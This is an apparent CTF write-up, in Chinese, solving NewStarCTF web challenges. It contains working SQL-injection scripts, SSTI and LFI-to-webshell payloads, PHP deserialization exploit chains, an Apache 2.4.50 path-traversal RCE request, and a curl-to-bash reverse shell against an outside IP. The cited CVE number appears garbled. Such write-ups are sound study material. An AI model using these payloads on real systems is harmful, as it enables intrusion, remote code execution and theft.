week2

Word-For-You(2 Gen)

sql注入,这里有很多方式都可以注入。可以进行报错或者盲注都可以。贴脚本。

# @Time : 2022/9/26 15:47
# @Author : xiaoqiuxx
# @File : NewStar新生赛.py
# @Team : 少年游


import time
import requests

url = "http://302bec96-9e18-41a4-9d39-802a7f48776b.node4.buuoj.cn:81/comments.php"

result = ''
for i in range(155, 300):
head = 0
tail = 127
while head < tail:
mid = (head + tail) >> 1 # 右移除2
# payload2 = {
# "name": f"NewCTFer'and(ascii(substr(database(),{i},1))>{mid})#"
# }
# payload2 = {
# "name": f"NewCTFer'and(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='wfy')),{i},1))>{mid})#"
# }
# payload = f'(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),{i},1.txt))>{mid})'
payload2 = {
"name": f"NewCTFer'and(ascii(substr((select(group_concat(concat_ws('~',text)))from(wfy.wfy_comments)),{i},1))>{mid})#"
}
r = requests.post(url,data=payload2)
time.sleep(0.1)
print(payload2)
if "成功" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
continue
print(result)

这里range(155,300)是因为flag在很后面所以截取的时候把数字调大一点。

IncludeOne

首先是一个PHP的伪随机数漏洞。这里给我们提供了工具。直接下载使用即可。

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
Baby Hacker?

这里我们通过下载一个工具

php_mt_seed - PHP mt_rand() seed cracker (openwall.com)

因为给了一个随机数 通过工具我们可以反推随机数种子,这里的随机为什么是伪随机呢,就是通过固定种子生成随机数的话每次都是相同的,导致了随机数可以预测。

image-20221018082523718

这里通过随机数反推到种子,这里看版本使用不同的。

image-20221018082702279

进行随机发现第一个就是题目提供的,再使用一次就会得到第二个数字。传入即可。

image-20221018082752827

继续绕过下面的

if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);

这里过滤了base 看起来不能读取文件了。但是存在一个trick。 过滤器可以随便写且支持url编码

PHP Filter伪协议Trick总结 - 豆奶特 (dounaite.com)

image-20221018082814692

当然我们传的时候也需要将他再进行编码一次。

image-20221018082823714

UnserializeOne

pop链构造。

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('1.txt');
}
}

class Easy{
public $cla;


public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

//if(isset($_POST['pop'])){
// unserialize($_POST['pop']);
//}

这里主要就是用了几个比较少见的魔术方法,我们了解触发情况之后即可构造。

触发链

class:Start -> destruct -> 字符串拼接触发tostring
class:Sec -> toString -> 调用不存在方法触发Call
class:Easy -> call -> clone对象触发clone
class:eeee -> clone -> 调用不存在的属性触发isset
class:start -> isset -> 把对象当作函数触发invoke
class:Sec -> invoke -> getflag

exp:

<?php


class Start {
public $name;
public $func;
}


class Sec {
public $obj;
public $var;

}

class Easy {
public $cla ;

}


class eeee {
public $obj;

public function __construct()
{
$this->obj = new start();
}
}


$a = new Start();
$a->name = new Sec();
$a->name->obj = new Easy();
$a->name->var = new eeee();
$a->name->var->obj->func=new Sec();
echo serialize($a);

这里有一个小知识点,因为题目PHP版本是7.3 PHP在7.1后不区分权限修饰符。可以直接都改为public

ezAPI

首先扫目录得到源码www.zip GraphQL注入。

<body>
<dl class="admin_login">
<dt>
<font color="white"><strong>Search Page Beta</strong></font>
</dt>
<form action="index.php" method="post">
<dd class="user_icon">
<input type="text" name="id" placeholder="用户ID" class="login_txtbx" />
</dd>
<dd>
<input type="submit" value="Search" class="submit_btn" />
</dd>
</form><br>
<center>
<font size="4px" color="white">
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}

function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}

if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
//重点在这 我们可以传入data自定义发送数据
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
</font>
</center>
</dl>
</body>

妈的 琢磨半天格式

我的GraphQL安全学习之旅 - 腾讯云开发者社区-腾讯云 (tencent.com)

{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}
仿照

image-20221018084351864

通过GraphQL的内省机制可以拿到全部的信息。

这里不空格也是可以的。

{"query":"query__schema{__schema{types{name}}}"}

image-20221018084502329

查看到flag的信息

然后查这个对象的字段 (真烦)

image-20221018084537691

一定要双引号,这里用转义符转义一下。

id=1&data={"query":"{__type(name:\"ffffllllaaagggg_1n_h3r3_flag\"){name\r\nfields{name\r\ntype{name}}}}"}

id=1&data={"query":"{ __type(name:\"ffffllllaaagggg_1n_h3r3_flag\"){name fields{name type{name}}}}"}这样也可以


id=1&data={"query":"{ __type(name:\"ffffllllaaagggg_1n_h3r3_flag\"){name fields{description name type{name kind ofType{name kind description}}}}}"}

这三个都是查字段

image-20221018084609018

image-20221018084613550

id=1&data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"}
查对象

[渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql注入]https://blog.csdn.net/wy_97/article/details/11052215

week3

BabySSTi_One(SSTi)

SSTI 有过滤,发现就是关键字过滤。可以进行拼接绕过。

我们可以使用print函数进行输出

image-20221018084727748

?name={%print(""["__cla"+"ss__"])%}
?name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]())%}

image-20221018084745487

搜索了一下没有file类,有fileloader 是python3环境 编写脚本。可以进行文件读取

# @Time : 2022/10/4 22:06
# @Author : xiaoqiuxx
# @File : SSTI.py
# @Team : 少年游
import requests
import time


for i in range(500):
url = 'http://5d81c1b3-5443-4b23-ae88-e40c82caf171.node4.buuoj.cn:81/?name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]()['+str(i)+'])%}'
res = requests.get(url)
time.sleep(0.2)
print(i)
if "FileLoader" in res.text:
print("Hi! Im here!" + url)
break

image-20221018084820717

读取到源代码

from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer') #后面参数是默认值
if not re.findall('class|base|init|mro|flag|cat|more|env', name):
t = Template(
"<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear " + name + "</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>")
return t.render()
else:
t = Template("Get Out!Hacker!")
return t.render()

if __name__ == "__main__":
app.run()

过滤了flag 需要进行RCE 查找subprocess.Popen类

for i in range(500):
url = 'http://5d81c1b3-5443-4b23-ae88-e40c82caf171.node4.buuoj.cn:81/?name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]()[' + str(
i) + '])%}'
res = requests.get(url)
time.sleep(0.2)
print(i)
if "subprocess.Popen" in res.text:
print("Hi! Im here!" + url)
break


Hi! Im here!http://5d81c1b3-5443-4b23-ae88-e40c82caf171.node4.buuoj.cn:81/?name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]()[245])%}
name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]()[245]('ls%20/',shell=True,stdout=-1)["communica"+"te"]())%}
这里communicate() cat被过滤了 所以需要进行拼接绕过

image-20221018084925337

name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]()[245]('tac%20/?lag_in_here',shell=True,stdout=-1)["communica"+"te"]())%}
这里flag过滤可以使用?通配符 cat过滤了使用tac

multiSQL(堆叠注入)

看题目提示需要修改成绩,一开始没注意到。可以进行盲注但是后续select被过滤了。

反应过来尝试堆叠。

1';show databases;#

image-20221018085016535

1';show tables;#

image-20221005102054894

1'; show columns from `score`;

image-20221005102139811

这里可以使用预编译语句绕过过滤(参考强网杯随便注),给听力加一分之后就425了。刚好能过。

[BUUCTF-强网杯 2019]随便注(堆叠注入) - zhengna - 博客园 (cnblogs.com)

username= 1';set @a=concat("sel","ect * from `score`");prepare inject from @a;execute inject; #
username= 1';set @a=concat("upda","te `score` set listen=12 where usernme='火华'");prepare inject from @a;execute inject; #

image-20221005104103115

修改完之后我们点击验证成绩就可以拿到flag了。

image-20221005104127932

IncludeTwo(pearcmd.php)

p牛发过的 pearcmd.php文件包含

Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

(https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html)

<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
} Hacker!
http://9daa4fa2-eb89-45c6-952d-a334d496249c.node4.buuoj.cn:81/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php

image-20221005084611795

我这第一次失败了

http://9daa4fa2-eb89-45c6-952d-a334d496249c.node4.buuoj.cn:81/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/world.php

image-20221005085410191

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php

image-20221005092129724

Maybe You Have To think More

报错可以得到版本信息。直接网上搜相关的链子即可。

tp5反序列化 在cookie内进行触发

exp:

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Sentiment"=>["hello"]];
$this->data = ["Sentiment"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

执行命令需要加入参数 Sentiment

image-20221005213941918

flag在env内 (环境变量)

image-20221005215526232

week4

So Baby RCE

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
GET /?cmd=ca${11}t%09$(expr%09substr%09$PATH%091%091)ffff?lllaaaaggggg

这里知识点

${11}这里的话${}不传值都是表示为空。可以绕过关键字过滤。

image-20221010213735539

image-20221010214144664

这里截取${PWD:1:1}使用不了
expr substr $(awk NR==1 1.php) 1 1 表示从1.php的第一行第一个字符取值一个
这里我们也可以用来截取环境变量
ca${11}t $(expr substr $PATH 1 1)ffff?lllaaaaggggg
这里$(expr substr $PATH 1 1)截取的是反斜杠 /

cat /ffffllllaaaaggggg

空格过滤不说了。

BabySSTI_Two

{%print()%}  

image-20221011100417451

关键字过滤,这里可以使用 lower()函数将大写字符转换 这里因为拼接使用的加号被过滤了。

image-20221011100522538

?name={%print(''['__CLASS__'.lower()]['__base__']['__SUBCLASSES__'.lower()]())%}

image-20221018091513957

image-20221011102025428

image-20221011102717597

{%print(''['__CLASS__'.lower()]['__base__']['__SUBCLASSES__'.lower()]()[245]('dir$IFS/',shell=True,stdout=-1)['COMMUNICATE'.lower()]())%}

{%print(''['__CLASS__'.lower()]['__base__']['__SUBCLASSES__'.lower()]()[245]('tac$IFS/f?ag_in_h3r3_52daad',shell=True,stdout=-1)['COMMUNICATE'.lower()]())%}

UnserializeThree

phar反序列化

class.php:

<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}

file_exists($_GET['file']);

这里可以使用%0d绕过(\r)
<?php
class Evil
{
public $cmd;

public function __construct()
{
$this->cmd = "\r;echo'hello';";
}
}

@unlink("a.phar"); //删除之前的
$phar = new Phar("a.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Evil();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.php", "<?php echo 1;?>"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20221011123618126

image-20221011123508724

<?php
class Evil
{
public $cmd;

public function __construct()
{
$this->cmd = "\r;eval(\$_GET['cmd']);";
}
}

@unlink("a.phar"); //删除之前的
$phar = new Phar("a.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Evil();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.php", "<?php echo 1;?>"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

//phar文件的meta-data以序列化的形式存储,解析phar文件的时候会进行反序列化
//所以可以实现不需要unserialize进行反序列化
?>

image-20221011123754053

又一个SQL

异或注入,这里需要使用一个if去返回结果异或。

# @Time : 2022/10/11 10:43
# @Author : xiaoqiuxx
# @File : 又一个SQL.py
# @Team : 少年游
import requests
import time

url = "http://bb1f0b65-a01b-49a2-96bf-48e2faaa06e3.node4.buuoj.cn:81/comments.php"

flag = ""

for i in range(155,300):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = {
# "name": f"100^if(ascii(substr(user(),{i},1))>{mid},0,1)"
# }
# payload = {
# "name": f"100^if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},0,1)"
# } wfy_comments
# payload = {
# "name": f"100^if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{mid},0,1)"
# }
payload = {
"name": f"100^if(ascii(substr((select(group_concat(text))from(wfy_comments)),{i},1))>{mid},0,1)"
}

print(payload)
res = requests.post(url=url, data=payload)

time.sleep(0.1)
if "f1ag" in res.text:
head = mid + 1
else:
tail = mid
if head != 32:
flag = flag + chr(head)
else:
break
print(flag)

week5

Give me your photo PLZ

迷惑,我还以为二次渲染?

只要传.htaccess和.jpg就可以了

image-20221017113936348

写的很好,可惜有错别字

看了一下源代码就是很简单的。

<?php
if(!empty($_FILES)) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
$extension = explode(".", $_FILES["file"]["name"]);
$extension = ".".strtolower(end($extension));
$deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini");
if (in_array($extension, $deny_ext)) {
exit("上传木马可不是好习惯~~~");
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . strtolower($_FILES["file"]["name"]));
echo "<img src='upload/" . strtolower($_FILES["file"]["name"]) . "'>";
}
}
}
?>

So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

很简单一个RCE,这里过滤上周方法即可绕过。这里是无回显,我们可以进行反弹shell。

或者重定向。

image-20221016225628100

反弹shell
http://2b0214eb-c759-4397-a0f5-7a86ec793a8a.node4.buuoj.cn:81/?cmd=cu${11}rl http://118.31.166.161:25589/1.html|ba${11}sh

image-20221016225705804

这里我们写一个index.html 内容就是反弹shell内容即可

bash -i >& /dev/tcp/ip/port  0>&1  然后通过curl访问再管道符bash执行反弹
find / -perm -u=s -type f 2>/dev/null  查找有suid的命令

image-20221016225803208

发现date可以读取文件

Unsafe Apache

查看数据包可知apache的版本信息

Apache/2.4.50,查找该版本信息。

Apache HTTP Server 2.4.50路径穿越以及远程代码执行(CVE-2021-42103)

验证目录穿越

image-20221018090206149

icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd 

验证rce

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: node4.buuoj.cn:27915
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "2d-432a5e4a73a80"
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
Connection: close
Content-Length: 7

echo;id

image-20221017105501470

image-20221017105531344

image-20221017105556253

BabySSTI_Three

这里使用format绕过。

?name={{''['%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95)]}}  == (__class__)
?name={{''[('%c%c%c%c%c%c%c%c%c')|format(95,95,99,108,97,115,115,95,95)][('%c%c%c%c%c%c%c%c')|format(95,95,98,97,115,101,95,95)]}}  == ''[__class__][__base__]  不需要点
?name={{''[('%c%c%c%c%c%c%c%c%c')|format(95,95,99,108,97,115,115,95,95)][('%c%c%c%c%c%c%c%c')|format(95,95,98,97,115,101,95,95)][('%c%c%c%c%c%c%c%c%c%c%c%c%c%c')|format(95,95,115,117,98,99,108,97,115,115,101,115,95,95)]()}}  == ''[__class__][__base__][__subclasses__]()

image-20221017102448265

{{''[('%c%c%c%c%c%c%c%c%c')|format(95,95,99,108,97,115,115,95,95)][('%c%c%c%c%c%c%c%c')|format(95,95,98,97,115,101,95,95)][('%c%c%c%c%c%c%c%c%c%c%c%c%c%c')|format(95,95,115,117,98,99,108,97,115,115,101,115,95,95)]()[245]('ls$IFS/',shell=True,stdout=-1)[('%c%c%c%c%c%c%c%c%c%c%c')|format(99,111,109,109,117,110,105,99,97,116,101)]()}

image-20221017102946708

?name={{''[('%c%c%c%c%c%c%c%c%c')|format(95,95,99,108,97,115,115,95,95)][('%c%c%c%c%c%c%c%c')|format(95,95,98,97,115,101,95,95)][('%c%c%c%c%c%c%c%c%c%c%c%c%c%c')|format(95,95,115,117,98,99,108,97,115,115,101,115,95,95)]()[245]('c${11}at$IFS/f?ag?in?h3r3?52daad',shell=True,stdout=-1)[('%c%c%c%c%c%c%c%c%c%c%c')|format(99,111,109,109,117,110,105,99,97,116,101)]()}} 

不想读源代码,猜测过滤了空格和一些关键字。进行绕过即可。

image-20221017103346491

这几道SSTI环境都是一样的,只是加了过滤,所以不需要再查看类的位置

Final round

还是原来的sql注入,跟前面一样,这里换成时间盲注即可。

sql注入也是,都是一样的环境。表名列名都一样包括flag的位置,当然flag不同。

import requests
import time


url = "http://b289a552-860c-431a-8c15-6eef70a1cc60.node4.buuoj.cn:81/comments.php"
result = ""

for i in range(155,300):
head = 32
tail = 126
while head < tail:
mid = (head + tail) >> 1
payload = {
"name": f"100^if(ascii(substr((select(group_concat(text))from(wfy_comments)),{i},1))>{mid},sleep(0.5),1)"
}
print(payload)
start = time.time()
requests.post(url,data=payload)
end = time.time() # 注入后的时间
if end - start > 1:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

直接跑就可以了。

CTF的路很长很累但也很精彩,在学习的过程里我们可以认识很多新朋友。也是一个很有意思的过程。希望大家都可以成为自己心中的CTFer!